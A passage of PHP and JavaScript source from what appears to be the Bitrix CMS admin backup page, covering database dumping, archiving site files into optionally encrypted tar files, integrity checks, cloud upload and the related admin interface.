			COption::SetOptionInt("main", "dump_max_exec_time", intval($_REQUEST['dump_max_exec_time']) < 5 ? 5 : $_REQUEST['dump_max_exec_time']);
			COption::SetOptionInt("main", "dump_max_exec_time_sleep", $_REQUEST['dump_max_exec_time_sleep']);
			$dump_archive_size_limit = intval($_REQUEST['dump_archive_size_limit']);
			if ($dump_archive_size_limit > 2047 || $dump_archive_size_limit <= 10)
				$dump_archive_size_limit = 100;
			COption::SetOptionInt("main", "dump_archive_size_limit", $dump_archive_size_limit * 1024 * 1024);
			COption::SetOptionInt("main", "dump_max_file_size", $_REQUEST['max_file_size']);

			$NS['total_steps'] = 0;
			if ($r = $_REQUEST['dump_file_public'] == 'Y')
				$NS['total_steps'] = 1;
			COption::SetOptionInt("main", "dump_file_public", $r);

			if ($r = $_REQUEST['dump_file_kernel'] == 'Y')
				$NS['total_steps'] = 1;
			COption::SetOptionInt("main", "dump_file_kernel", $r);

			if ($r = $DB->type == 'MYSQL' ? ($_REQUEST['dump_base'] == 'Y') : 0)
				$NS['total_steps'] += 2;
			COption::SetOptionInt("main", "dump_base", $r);
			COption::SetOptionInt("main", "dump_base_skip_stat", $_REQUEST['dump_base_skip_stat'] == 'Y');
			COption::SetOptionInt("main", "dump_base_skip_search", $_REQUEST['dump_base_skip_search'] == 'Y');
			COption::SetOptionInt("main", "dump_base_skip_log", $_REQUEST['dump_base_skip_log'] == 'Y');

			if ($r = $_REQUEST['dump_integrity_check'] == 'Y')
				$NS['total_steps']++;
			COption::SetOptionInt("main", "dump_integrity_check", $r);

			$bDumpCloud = false;
			if ($arAllBucket)
			{
				foreach($arAllBucket as $arBucket)
				{
					if ($res = $_REQUEST['dump_cloud'][$arBucket['ID']] == 'Y')
						$bDumpCloud = true;
					COption::SetOptionInt('main', 'dump_cloud_'.$arBucket['ID'], $res);
				}
				if ($bDumpCloud)
					$NS['total_steps']++;
			}
			COption::SetOptionInt("main", "dump_do_clouds", $bDumpCloud);

			$skip_mask = $_REQUEST['skip_mask'] == 'Y';
			COption::SetOptionInt("main", "skip_mask", $skip_mask);

			$skip_mask_array = array();
			if ($skip_mask && is_array($_REQUEST['arMask']))
			{
				$arMask = array_unique($_REQUEST['arMask']);
				foreach($arMask as $mask)
					if (trim($mask))
					{
						$mask = rtrim(str_replace('\\','/',trim($mask)),'/');
						$skip_mask_array[] = $mask;
					}
				COption::SetOptionString("main", "skip_mask_array", serialize($skip_mask_array));
			}
		}

		$NS["step"] = 1;

		if ($NS['BUCKET_ID']) // send to the [bitrix]cloud
			$NS['total_steps']++;

		$NS['dump_site_id'] = $_REQUEST['dump_site_id'];
		if (!is_array($NS['dump_site_id']))
			$NS['dump_site_id'] = array();
		COption::SetOptionString("main", "dump_site_id", serialize($NS['dump_site_id']));

		if ($NS['BUCKET_ID'] == -1) // Bitrixcloud
		{
			$name = DOCUMENT_ROOT.BX_ROOT."/backup/".date('Ymd_His_').rand(11111111,99999999);
			$NS['arc_name'] = $name.'.enc'.($bUseCompression ? ".gz" : '');
			$NS['dump_name'] = $name.'.sql';
		}
		else
		{
			$prefix = '';
			if (count($NS['dump_site_id']) == 1)
			{
				$rs = CSite::GetList($by='sort', $order='asc', array('ID' => $NS['dump_site_id'][0], 'ACTIVE' => 'Y'));
				if ($f = $rs->Fetch())
					$prefix = str_replace('/', '', $f['SERVER_NAME']);
			}
			else
				$prefix = str_replace('/', '', COption::GetOptionString("main", "server_name", ""));

			$arc_name = CBackup::GetArcName(preg_match('#^[a-z0-9\.\-]+$#i', $prefix) ? substr($prefix, 0, 20).'_' : '');
			$NS['dump_name'] = $arc_name.".sql";
			$NS['arc_name'] = $arc_name.($NS['dump_encrypt_key'] ? ".enc" : ".tar").($bUseCompression ? ".gz" : '');
		}
	}
	elseif($_REQUEST['action'] == 'cloud_send')
	{
		define('NO_TIME', true);
		$NS = Array();
		$NS['finished_steps'] = 0;
		$NS['total_steps'] = 1;
		$NS['cloud_send'] = 1;
		$NS['dump_encrypt_key'] = $_REQUEST['dump_encrypt_key'];
		$NS['arc_name'] = $name = DOCUMENT_ROOT.BX_ROOT.'/backup/'.str_replace(array('..','/','\\'),'',$_REQUEST['f_id']);
		$NS['arc_size'] = filesize($NS['arc_name']);
		$NS['BUCKET_ID'] = intval($_REQUEST['dump_bucket_id']);
		while(file_exists($name = CTar::getNextName($name)))
			$NS['arc_size'] += filesize($name);
		$NS['step'] = 6;
	}
	elseif($_REQUEST['action'] == 'check_archive')
	{
		define('NO_TIME', true);
		$NS = Array();
		$NS['finished_steps'] = 0;
		$NS['total_steps'] = 1;
		$NS['arc_name'] = $name = DOCUMENT_ROOT.BX_ROOT.'/backup/'.str_replace(array('..','/','\\'),'',$_REQUEST['f_id']);
		$NS['step'] = 5;
		$NS['dump_encrypt_key'] = $_REQUEST['dump_encrypt_key'];
		$NS['check_archive'] = true;
		$tar = new CTar;
		$NS['data_size'] = $tar->getDataSize($name);
	}
	else
	{
		$ar = unserialize(COption::GetOptionString("main","skip_mask_array"));
		$skip_mask_array = is_array($ar) ? $ar : array();
	}

	$after_file = str_replace('.sql','_after_connect.sql',preg_replace('#\.[0-9]+$#', '', $NS['dump_name']));

	$FinishedTables = 0;
	// Step 1: Dump
	if($NS["step"] == 1)
	{
		$step_done = 0;
		if (IntOption('dump_base'))
		{
			if (!CBackup::MakeDump($NS['dump_name'], $NS['dump_state']))
				RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS'));

			$TotalTables = $NS['dump_state']['TableCount'];
			$FinishedTables = $TotalTables - count($NS['dump_state']['TABLES']);

			$status_title = GetMessage('DUMP_DB_CREATE');
			$status_details = GetMessage("MAIN_DUMP_TABLE_FINISH")." <b>".(intval($FinishedTables))."</b> ".GetMessage('MAIN_DUMP_FROM').' <b>'.$TotalTables.'</b>';
			$step_done = $FinishedTables / $TotalTables;

			if ($NS['dump_state']['end'])
			{

				$rs = $DB->Query('SHOW VARIABLES LIKE "character_set_results"');
				if (($f = $rs->Fetch()) && array_key_exists ('Value', $f))
					file_put_contents($after_file, "SET NAMES '".$f['Value']."';\n");

				$rs = $DB->Query('SHOW VARIABLES LIKE "collation_database"');
				if (($f = $rs->Fetch()) && array_key_exists ('Value', $f))
					file_put_contents($after_file, "ALTER DATABASE `<DATABASE>` COLLATE ".$f['Value'].";\n",8);
				
				clearstatcache();
				$NS["step"]++;
				$NS['finished_steps']++;
			}
		}
		else
			$NS["step"]++;
	}

	// Step 2: pack dump
	if($NS["step"] == 2)
	{
		$step_done = 0;
		if (IntOption('dump_base'))
		{
			if (haveTime())
			{
				$tar = new CTar;
				$tar->EncryptKey = $NS['dump_encrypt_key'];
				$tar->ArchiveSizeLimit = IntOption('dump_archive_size_limit');
				$tar->gzip = IntOption('dump_use_compression');
				$tar->path = DOCUMENT_ROOT;
				$tar->ReadBlockCurrent = intval($NS['ReadBlockCurrent']);

				if (!$tar->openWrite($NS["arc_name"]))
					RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS'));

				if (!$tar->ReadBlockCurrent && file_exists($f = DOCUMENT_ROOT.BX_ROOT.'/.config.php'))
					$tar->addFile($f);

				$Block = $tar->Block;
				$r = null;
				while(haveTime() && ($r = $tar->addFile($NS['dump_name'])) && $tar->ReadBlockCurrent > 0);
				$NS["data_size"] += 512 * ($tar->Block - $Block);

				if ($r === false)
					RaiseErrorAndDie(implode('<br>',$tar->err));

				$NS["ReadBlockCurrent"] = $tar->ReadBlockCurrent;

				if (!$NS['dump_size'])
				{
					$next_part = $NS['dump_name'];
					$NS['dump_size'] = filesize($next_part);
					while(file_exists($next_part = CBackup::getNextName($next_part)))
						$NS['dump_size'] += filesize($next_part);
				}

				$status_title = GetMessage("MAIN_DUMP_DB_PROC");
				$status_details = GetMessage('CURRENT_POS').' <b>'.round(100 * $NS['data_size'] / $NS['dump_size']).'%</b>';
				$step_done = $NS['data_size'] / $NS['dump_size'];

				if($tar->ReadBlockCurrent == 0)
				{
					unlink($NS["dump_name"]);

					if (file_exists($next_part = CBackup::getNextName($NS['dump_name'])))
					{
						$NS['dump_name'] = $next_part;
					}
					else
					{
						if (file_exists($after_file))
						{
							$tar->addFile($after_file);
							unlink($after_file);
						}

						$NS['arc_size'] = 0;
						$name = $NS["arc_name"];
						while(file_exists($name))
						{
							$size = filesize($name);
							$NS['arc_size'] += $size;
							if (IntOption("disk_space") > 0)
								CDiskQuota::updateDiskQuota("file", $size, "add");
							$name = CTar::getNextName($name);
						}

						$NS["step"]++;
						$NS['finished_steps']++;
					}
				}
				$tar->close();
			}
		}
		else
			$NS["step"]++;
	}

	// Step 3: Download Cloud Files
	$arDumpClouds = false;
	if($NS["step"] == 3)
	{
		$step_done = 0;
		if ($arDumpClouds = CBackup::CheckDumpClouds())
		{
			if (haveTime())
			{
				$res = null;
				foreach($arDumpClouds as $id)
				{
					if ($NS['bucket_finished_'.$id])
						continue;

					$obCloud = new CloudDownload($id);
					$obCloud->last_bucket_path = $NS['last_bucket_path'];
					if ($res = $obCloud->Scan(''))
					{
						$NS['bucket_finished_'.$id] = true;
					}
					else // partial
					{
						$NS['last_bucket_path'] = $obCloud->path;
						$NS['download_cnt'] += $obCloud->download_cnt;
						$NS['download_size'] += $obCloud->download_size;
						if ($c = count($obCloud->arSkipped))
							$NS['download_skipped'] += $c;
						break;
					}
				}

				$status_title = GetMessage("MAIN_DUMP_CLOUDS_DOWNLOAD");
				$status_details = GetMessage("MAIN_DUMP_FILES_DOWNLOADED").': <b>'.intval($NS["download_cnt"]).'</b>';
//				if ($NS['download_skipped'])
//					$status_title .= GetMessage("MAIN_DUMP_DOWN_ERR_CNT").': <b>'.$NS['download_skipped'].'</b><br>';

				if ($res) // finish
				{
					$NS['step']++;
					$NS['finished_steps']++;
				}
			}
		}
		else
			$NS["step"]++;
	}

	// Step 4: Tar Files
	if($NS["step"] == 4)
	{
		$step_done = 0;
		if (CBackup::CheckDumpFiles() || CBackup::CheckDumpClouds())
		{
			if (haveTime())
			{
				$tar = new CTar;
				$DirScan = new CDirRealScan;

				$DOCUMENT_ROOT_SITE = DOCUMENT_ROOT;
				if (is_array($NS['dump_site_id']))
				{
					$SITE_ID = reset($NS['dump_site_id']);
					$rs = CSite::GetList($by='sort', $order='asc', array('ID' => $SITE_ID, 'ACTIVE' => 'Y'));
					if ($f = $rs->Fetch())
					{
						$DOCUMENT_ROOT_SITE = rtrim(str_replace('\\','/',$f['ABS_DOC_ROOT']),'/');
						if ($NS['multisite'])
						{
							$tar->prefix = 'bitrix/backup/sites/'.$f['LID'].'/';
							$DirScan->arSkip[$DOCUMENT_ROOT_SITE.'/bitrix'] = true;
							$DirScan->arSkip[$DOCUMENT_ROOT_SITE.'/upload'] = true;
						}
					}
				}

				CBackup::$DOCUMENT_ROOT_SITE = $DOCUMENT_ROOT_SITE;
				CBackup::$REAL_DOCUMENT_ROOT_SITE = realpath($DOCUMENT_ROOT_SITE);

				$tar->EncryptKey = $NS['dump_encrypt_key'];
				$tar->ArchiveSizeLimit = IntOption('dump_archive_size_limit');
				$tar->gzip = IntOption('dump_use_compression');
				$tar->path = $DOCUMENT_ROOT_SITE;
				$tar->ReadBlockCurrent = intval($NS['ReadBlockCurrent']);
				$tar->ReadFileSize = intval($NS['ReadFileSize']);

				if (!$tar->openWrite($NS["arc_name"]))
					RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS'));

				$Block = $tar->Block;

				if (!$NS['startPath'])
				{
					if (!IntOption('dump_base') && file_exists($f = DOCUMENT_ROOT.BX_ROOT.'/.config.php'))
						$tar->addFile($f);
				}
				else
					$DirScan->startPath = $NS['startPath'];

				$r = $DirScan->Scan($DOCUMENT_ROOT_SITE);
				$NS["data_size"] += 512 * ($tar->Block - $Block);
				$tar->close();

				if ($r === false)
					RaiseErrorAndDie(implode('<br>',array_merge($tar->err,$DirScan->err)));

				$NS["ReadBlockCurrent"] = $tar->ReadBlockCurrent;
				$NS["ReadFileSize"] = $tar->ReadFileSize;
				$NS["startPath"] = $DirScan->nextPath;
				$NS["cnt"] += $DirScan->FileCount;

				$status_title = GetMessage("MAIN_DUMP_SITE_PROC");
				$status_details = GetMessage("MAIN_DUMP_FILE_CNT")." <b>".intval($NS["cnt"])."</b>";
				$last_files_count = IntOption('last_files_count');
				if (!$last_files_count)
					$last_files_count = 200000;
				$step_done = $NS['cnt'] / $last_files_count;
				if ($step_done > 1)
					$step_done = 1;

				if ($r !== 'BREAK')
				{
					if (count($NS['dump_site_id']) > 1)
					{
						array_shift($NS['dump_site_id']);
						$NS['multisite'] = true;
						unset($NS['startPath']);
					}
					else // finish
					{
						$NS['arc_size'] = 0;
						$name = $NS["arc_name"];
						while(file_exists($name))
						{
							$size = filesize($name);
							$NS['arc_size'] += $size;
							if (IntOption("disk_space") > 0)
								CDiskQuota::updateDiskQuota("file", $size, "add");
							$name = CTar::getNextName($name);
						}
						DeleteDirFilesEx(BX_ROOT.'/backup/clouds');
						$NS["step"]++;
						$NS['finished_steps']++;
					}
				}
			}
		}
		else
			$NS["step"]++;
	}

	// Step 5: Integrity check
	if($NS["step"] == 5)
	{
		$step_done = 0;
		if (IntOption('dump_integrity_check') || $NS['check_archive'])
		{
			if (haveTime())
			{
				$tar = new CTarCheck;
				$tar->EncryptKey = $NS['dump_encrypt_key'];

				if (!$tar->openRead($NS["arc_name"]))
					RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS_READ').'<br>'.implode('<br>',$tar->err));
				else
				{
					if(($Block = intval($NS['Block'])) && !$tar->SkipTo($Block))
						RaiseErrorAndDie(implode('<br>',$tar->err));
					while(($r = $tar->extractFile()) && haveTime());

					$NS["Block"] = $tar->Block;
					$status_title = GetMessage('INTEGRITY_CHECK');
					$status_details = GetMessage('CURRENT_POS').' <b>'.CFile::FormatSize($NS['Block'] * 512).'</b> '.GetMessage('MAIN_DUMP_FROM').' <b>'.CFile::FormatSize($NS['data_size']).'</b>';
					$step_done = $NS['Block'] * 512 / $NS['data_size'];

					if ($r === false)
						RaiseErrorAndDie(implode('<br>',$tar->err));
					if ($r === 0)
					{
						$NS["step"]++;
						$NS['finished_steps']++;
					}
				}
				$tar->close();
			}
		}
		else
			$NS["step"]++;
	}

	// Step 6: Send to the cloud
	if($NS["step"] == 6)
	{
		$step_done = 0;
		if ($NS['BUCKET_ID'])
		{
			if (haveTime())
			{
				if (!CModule::IncludeModule('clouds'))
					RaiseErrorAndDie(GetMessage("MAIN_DUMP_NO_CLOUDS_MODULE"));

				$file_size = filesize($NS["arc_name"]);
				$file_name = $NS['BUCKET_ID'] == -1 ? basename($NS['arc_name']) : substr($NS['arc_name'],strlen(DOCUMENT_ROOT));
				$obUpload = new CCloudStorageUpload($file_name);

				if (!$NS['upload_start_time'])
					$NS['upload_start_time'] = START_EXEC_TIME;

				if ($NS['BUCKET_ID'] == -1)
				{
					if (!$bBitrixCloud)
						RaiseErrorAndDie(getMessage('DUMP_BXCLOUD_NA'));

					$obBucket = null;
					if (!$NS['obBucket'])
					{
						$backup = CBitrixCloudBackup::getInstance();
						$q = $backup->getQuota();
						if ($e = $APPLICATION->GetException())
						{
							unset($NS['obBucket']);
							RaiseErrorAndDie($e->GetString(),true);
						}
						else
						{
							if ($NS['arc_size'] > $q)
								RaiseErrorAndDie(GetMessage('DUMP_ERR_BIG_BACKUP', array('#ARC_SIZE#' => $NS['arc_size'], '#QUOTA#' => $q)), true);

							try
							{
								$obBucket = $backup->getBucketToWriteFile(CTar::getCheckword($NS['dump_encrypt_key']), basename($NS['arc_name']));
								$NS['obBucket'] = serialize($obBucket);
							}
							catch (CBitrixCloudException $e)
							{
								RaiseErrorAndDie($e->GetMessage(),true);
							}
						}
					}
					else
						$obBucket = unserialize($NS['obBucket']);

					$obBucket->Init();
					$obBucket->GetService()->setPublic(false);

					$bucket_id = $obBucket;
				}
				else
				{
					$obBucket = null;
					$bucket_id = $NS['BUCKET_ID'];
				}

				if (!$obUpload->isStarted())
				{
					if (is_object($obBucket))
						$obBucket->setCheckWordHeader();

					if (!$obUpload->Start($bucket_id, $file_size))
					{
						if ($e = $APPLICATION->GetException())
							$strError = $e->GetString();
						else
							$strError = GetMessage('MAIN_DUMP_INT_CLOUD_ERR');
						unset($NS['obBucket']);
						RaiseErrorAndDie($strError,true);
					}

					if (is_object($obBucket))
						$obBucket->unsetCheckWordHeader();
				}

				if ($fp = fopen($NS['arc_name'],'rb'))
				{
					fseek($fp, $obUpload->getPos());
					$part = fread($fp, $obUpload->getPartSize());
					fclose($fp);
					$fails = 0;
					$res = null;
					while($obUpload->hasRetries())
					{
						if($res = $obUpload->Next($part, $obBucket))
							break;
						elseif (++$fails >= 10)
							RaiseErrorAndDie('Internal Error: could not init upload for '.$fails.' times');
					}

					if ($res)
					{
						$pos = $obUpload->getPos();
						if ($pos >= $file_size) // file ended
						{
							if($obUpload->Finish($obBucket))
							{
								$NS['pos'] += $file_size;
								$pos = 0;

								if ($NS['BUCKET_ID'] != -1)
								{
									$oBucket = new CCloudStorageBucket($NS['BUCKET_ID']);
									$oBucket->IncFileCounter($file_size);
								}

								if (file_exists($arc_name = CTar::getNextName($NS['arc_name'])))
								{
									unset($NS['obBucket']);
									$NS['arc_name'] = $arc_name;
								}
								else
								{
									$ob = new CBitrixCloudBackup;
									$ob->clearOptions();
									$name = CTar::getFirstName($NS['arc_name']);
									while(file_exists($name))
									{
										$size = filesize($name);
										if (unlink($name) && IntOption("disk_space") > 0)
											CDiskQuota::updateDiskQuota("file",$size , "del");
										$name = CTar::getNextName($name);
									}

									$NS["step"]++;
									$NS['finished_steps']++;
								}
							}
							else
							{
								$obUpload->Delete();
								unset($NS['obBucket']);
								RaiseErrorAndDie(GetMessage("MAIN_DUMP_ERR_FILE_SEND").basename($NS['arc_name']),true);
							}
						}

						$pos += $NS['pos'];

						$status_title = GetMessage("MAIN_DUMP_FILE_SENDING");
						$status_details = GetMessage('CURRENT_POS').' <b>'.CFile::FormatSize($pos).'</b>  '.GetMessage('MAIN_DUMP_FROM').' <b>'.CFile::FormatSize($NS["arc_size"])."</b>".
							GetMessage('TIME_LEFT', array('#TIME#' => HumanTime(($NS['arc_size'] - $pos) / $pos * (microtime(true) - $NS['upload_start_time']))));
						$step_done = $pos / $NS['arc_size'];
					}
					else
					{
						$obUpload->Delete();
						unset($NS['obBucket']);
						RaiseErrorAndDie(GetMessage("MAIN_DUMP_ERR_FILE_SEND").basename($NS['arc_name']),true);
					}
				}
				else
				{
					unset($NS['obBucket']);
					RaiseErrorAndDie(GetMessage("MAIN_DUMP_ERR_OPEN_FILE").$NS['arc_name'],true);
				}
			}
		}
		else
			$NS["step"]++;
	}


	$NS["time"] += workTime();

	if ($NS["step"] <= 6) // partial
	{
		CAdminMessage::ShowMessage(array(
			"TYPE" => "PROGRESS",
			"MESSAGE" => $status_title,
			"DETAILS" => $status_details.'#PROGRESS_BAR#'.
//				GetMessage('TIME_SPENT').' '.HumanTime($NS["time"]),
				GetMessage('TIME_SPENT').' <span id="counter_field">'.sprintf('%02d',floor($NS["time"]/60)).':'.sprintf('%02d', $NS['time']%60).'</span><!--'.intval($NS['time']).'-->',
			"HTML" => true,
			"PROGRESS_TOTAL" => 100,
			"PROGRESS_VALUE" => ($NS['finished_steps'] + $step_done) * 100 / $NS['total_steps'],
		));
		?>
		<script>
			window.setTimeout("if(!stop)AjaxSend('?process=Y&<?=bitrix_sessid_get()?>')",<?=1000 * IntOption("dump_max_exec_time_sleep")?>);
		</script>
		<?
	}
	else // Finish
	{
		$title = ($NS['cloud_send'] ? GetMessage("MAIN_DUMP_SUCCESS_SENT") : GetMessage("MAIN_DUMP_FILE_FINISH")).'<br><br>';
		$status_msg = '';

		if ($NS["arc_size"])
		{
			$status_msg .= GetMessage("MAIN_DUMP_ARC_NAME").": <b>".basename(CTar::getFirstName($NS["arc_name"]))."</b><br>";
			$status_msg .= GetMessage("MAIN_DUMP_ARC_SIZE")." <b>".CFile::FormatSize($NS["arc_size"])."</b><br>";
			if ($NS['BUCKET_ID'] > 0)
				$l = ''; //htmlspecialcharsbx($arBucket['BUCKET'].' ('.$arBucket['SERVICE_ID'].')');
			elseif ($NS['BUCKET_ID'] == -1)
				$l = GetMessage('DUMP_MAIN_BITRIX_CLOUD');
			else
				$l = GetMessage("MAIN_DUMP_LOCAL");

			if ($l)
				$status_msg .= GetMessage("MAIN_DUMP_LOCATION").": <b>".$l."</b><br>";
		}

		if ($FinishedTables)
			$status_msg .= GetMessage("MAIN_DUMP_TABLE_FINISH")." <b>".$FinishedTables."</b><br>";
		if ($NS["cnt"])
		{
			$status_msg .= GetMessage("MAIN_DUMP_FILE_CNT")." <b>".$NS["cnt"]."</b><br>";
			if (IntOption("dump_file_public") && IntOption("dump_file_kernel"))
				COption::SetOptionInt("main", "last_files_count", $NS['cnt']);
		}

		if ($NS["data_size"])
			$status_msg .= GetMessage("MAIN_DUMP_FILE_SIZE")." <b>".CFile::FormatSize($NS["data_size"])."</b><br>";

		$status_msg .= GetMessage('TIME_SPENT').' <b>'.HumanTime($NS["time"]).'</b>';

		CAdminMessage::ShowMessage(array(
			"MESSAGE" => $title,
			"DETAILS" => $status_msg,
			"TYPE" => "OK",
			"HTML" => true));

?>
		<?echo bitrix_sessid_post()?>
		<script>
			EndDump();
		</script>
<?
	}
	require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_admin_js.php");
	die();
}
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/prolog.php");

// in case of error
$DB->Query("UNLOCK TABLES",true);

$APPLICATION->SetTitle(GetMessage("MAIN_DUMP_PAGE_TITLE"));
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_admin_after.php");

$aTabs = array();
$aTabs[] = array("DIV"=>"std", "TAB"=>GetMessage("DUMP_MAIN_MAKE_ARC"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("MAKE_DUMP_FULL"));
$aTabs[] = array("DIV"=>"expert", "TAB"=>GetMessage("DUMP_MAIN_PARAMETERS"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("DUMP_MAIN_EXPERT_SETTINGS"));

$editTab = new CAdminTabControl("editTab", $aTabs, true, true);

if ($DB->type != 'MYSQL')
	echo BeginNote().GetMessage('MAIN_DUMP_MYSQL_ONLY').EndNote();
if (!$bMcrypt || !$bHash)
{
	CAdminMessage::ShowMessage(array(
		"MESSAGE" => ($bMcrypt ? '' : GetMessage("MAIN_DUMP_NOT_INSTALLED")).($bHash ? '' : ' '.GetMessage('MAIN_DUMP_NOT_INSTALLED_HASH')),
		"DETAILS" => GetMessage("MAIN_DUMP_NO_ENC_FUNCTIONS"),
		"TYPE" => "ERROR",
		"HTML" => true));
}

if (defined('DUMP_DEBUG_MODE'))
	echo '<div style="color:red">DEBUG MODE</div><input type=button value=Next onclick="AjaxSend(\'?process=Y&'.bitrix_sessid_get().'\')">';

?><div id="dump_result_div"></div><?
$aMenu = array(
	array(
		"TEXT"	=> GetMessage("MAIN_DUMP_LIST_PAGE_TITLE"),
		"LINK"	=> "/bitrix/admin/dump_list.php?lang=".LANGUAGE_ID,
		"TITLE"	=> GetMessage("MAIN_DUMP_LIST_PAGE_TITLE"),
		"ICON"	=> "btn_list"
	)
);
$context = new CAdminContextMenu($aMenu);
$context->Show();

CAdminFileDialog::ShowScript(
	Array
	(
		"event" => "__bx_select_dir",
		"arResultDest" => Array("FUNCTION_NAME" => "mnu_SelectValue"),
		"arPath" => Array('PATH'=>"/"),
		"select" => 'D',
		"operation" => 'O',
		"showUploadTab" => false,
		"showAddToMenuTab" => false,
		"allowAllFiles" => true,
		"SaveConfig" => true
	)
);
?>
<script language="JavaScript">
var counter_started = false;
var counter_sec = 0;

function StartCounter()
{
	counter_started = true;
}

function StopCounter(result)
{
	counter_started = false;
	if (result)
	{
		var regs;
		if (regs = /<!--([0-9]+)-->/.exec(result))
			counter_sec = regs[1];
	}
}

function IncCounter()
{
	window.setTimeout(IncCounter, 1000);
	if (!counter_started)
		return;

	counter_sec ++;
	var ob;
	if (ob = BX('counter_field'))
	{
		var min = Math.floor(counter_sec / 60);
		var sec = counter_sec % 60;
		if (min < 10)
			min = '0' + min;
		if (sec < 10)
			sec = '0' + sec;
		ob.innerHTML = min + ':' + sec;
	}
}
window.setTimeout(IncCounter, 1000);

function GetLicenseInfo()
{
	CHttpRequest.Action = function(result)
	{
		BX('license_info').innerHTML = result;
	};
	CHttpRequest.Send('?action=key_info&lang=<?=LANGUAGE_ID?>&<?=bitrix_sessid_get()?>');
}

var numRows=0;
function AddTableRow()
{
	var oTable = BX('skip_mask_table');
	numRows = oTable.rows.length;
	var oRow = oTable.insertRow(-1);
	var oCell = oRow.insertCell(0);
	oCell.innerHTML = '<input type="text" name="arMask[]" id="mnu_FILES_' + numRows  +'" size=30><input type="button" id="mnu_FILES_btn_' + numRows  + '" value="..." onclick="showMenu(this, '+ numRows  +')">';
}

var currentID;

function showMenu(div, id)
{
	currentID = id;
	__bx_select_dir();
}

function mnu_SelectValue(filename, path, site, title, menu)
{
	BX('mnu_FILES_' + currentID).value = path + (path == '/' ? '' : '/') + filename;
}

function CheckExpert()
{
	var ob = document.fd1.dump_expert;

	var table = BX('tr_dump_expert').parentNode.parentNode;
	var found = false;
	for(var i=0;i<table.rows.length;i++)
	{
		if (found)
			table.rows[i].style.display = ob.checked ? '' : 'none';
		if (table.rows[i].id == 'tr_dump_expert')
			found = true;
	}
	CheckActiveStart();
}

function CheckActiveStart()
{
	if (counter_started)
		return;

	var start = true;
	if (document.fd1.dump_expert.checked)
	{
		start = document.fd1.dump_file_public.checked || document.fd1.dump_file_kernel.checked;

		document.fd1.max_file_size.disabled = !start;
		document.fd1.skip_symlinks.disabled = !start;
		document.fd1.skip_mask.disabled = !start;

		var mask = start && document.fd1.skip_mask.checked;
		BX('more_button').disabled = !mask;

		var oTable = BX('skip_mask_table');
		numRows = oTable.rows.length;
		for(var i=0;i<numRows;i++)
		{
			BX('mnu_FILES_'+i).disabled = !mask;
			BX('mnu_FILES_btn_'+i).disabled = !mask;
		}

		<?
		if ($arAllBucket)
		{
			foreach($arAllBucket as $arBucket)
				echo 'start = start || BX("dump_cloud_'.$arBucket['ID'].'").checked;'."\n";
		}
		?>

		var ob;
		if (ob = document.fd1.dump_base)
		{
			document.fd1.dump_base_skip_stat.disabled = !ob.checked;
			document.fd1.dump_base_skip_search.disabled = !ob.checked;
			document.fd1.dump_base_skip_log.disabled = !ob.checked;

			start = start || ob.checked;
		}
	}

	BX('start_button').disabled = !start;
}

function CheckEncrypt(ob)
{
	var enc;
	if(enc = document.fd1.dump_encrypt)
	{
		enc.disabled = (ob.value == -1);
	}
}

BX.ready(
	function()
	{
		CheckExpert();
		<?
			if ($_REQUEST['from'] == 'bitrixcloud')
				echo 'StartDump();';
			elseif ($_REQUEST['action'] == 'cloud_send' && check_bitrix_sessid())
				echo "AjaxSend('?process=Y&action=cloud_send&f_id=".CUtil::JSEscape($_REQUEST['f_id'])."&dump_encrypt_key=".CUtil::JSEscape($_REQUEST['dump_encrypt_key'])."&dump_bucket_id=".CUtil::JSEscape($_REQUEST['dump_bucket_id'])."&".bitrix_sessid_get()."');";
			elseif ($_REQUEST['action'] == 'check_archive' && check_bitrix_sessid())
				echo "AjaxSend('?process=Y&action=check_archive&f_id=".CUtil::JSEscape($_REQUEST['f_id'])."&dump_encrypt_key=".CUtil::JSEscape($_REQUEST['dump_encrypt_key'])."&".bitrix_sessid_get()."');";
		?>
	}
);

var stop;
var dump_encrypt_key;
var PasswordDialog;

function SavePassword()
{
	var key = BX('dump_encrypt_key').value;
	var l = key.length;

	var strError = '';
	if (!l)
		strError = '<?=GetMessageJS("MAIN_DUMP_EMPTY_PASS")?>';
	else if (!/^[\040-\176]*$/.test(key))
		strError = '<?=GetMessageJS('DUMP_ERR_NON_ASCII')?>';
	else if (l < 6)
		strError = '<?=GetMessageJS("MAIN_DUMP_ENC_PASS_DESC")?>';
	else if (key != BX('dump_encrypt_key_confirm').value)
		strError = '<?=GetMessageJS("DUMP_MAIN_ERR_PASS_CONFIRM")?>';

	if (strError)
	{
		BX('password_error').innerHTML = strError;
		BX('dump_encrypt_key').focus();
	}
	else
	{
		BX('password_error').innerHTML = '';
		dump_encrypt_key = key;
		BX.WindowManager.Get().Close();
		DoDump();
	}
}

function StartDump()
{
	var ob;
	if (BX('bitrixcloud').checked || (document.fd1.dump_expert.checked && (ob = document.fd1.dump_encrypt) && ob.checked))
	{
		if (!PasswordDialog)
		{
			PasswordDialog = new BX.CDialog({
				title: '<?=GetMessage("DUMP_MAIN_ENC_ARC")?>',
				content: '<?
					echo '<div style="color:red" id=password_error></div>';
					echo CUtil::JSEscape(BeginNote().GetMessage('MAIN_DUMP_SAVE_PASS').EndNote());
					echo '<table>';
					echo '<tr><td>'.GetMessage('MAIN_DUMP_ENC_PASS').'</td><td><input type="password" value="" id="dump_encrypt_key" onkeyup="if(event.keyCode==13) {BX(&quot;dump_encrypt_key_confirm&quot;).focus()}"/></td></tr>';
					echo '<tr><td>'.GetMessage('DUMP_MAIN_PASSWORD_CONFIRM').'</td><td><input type="password" value="" id="dump_encrypt_key_confirm"  onkeyup="if(event.keyCode==13) {SavePassword()}"/></td></tr>';
					echo '</table>';
				?>',
				height: 300,
				width: 600,
				resizable: false,
				buttons: [ {
					title: '<?=GetMessage("MAIN_DUMP_FILE_DUMP_BUTTON")?>',
	//				id: 'my_save',
	//				name: 'my_save',
					className: 'adm-btn-save',
					action: SavePassword

				}, BX.CAdminDialog.btnCancel ]
			})
		}
		PasswordDialog.Show();
		BX('dump_encrypt_key').focus();
	}
	else
	{
		dump_encrypt_key = '';
		DoDump();
	}
}

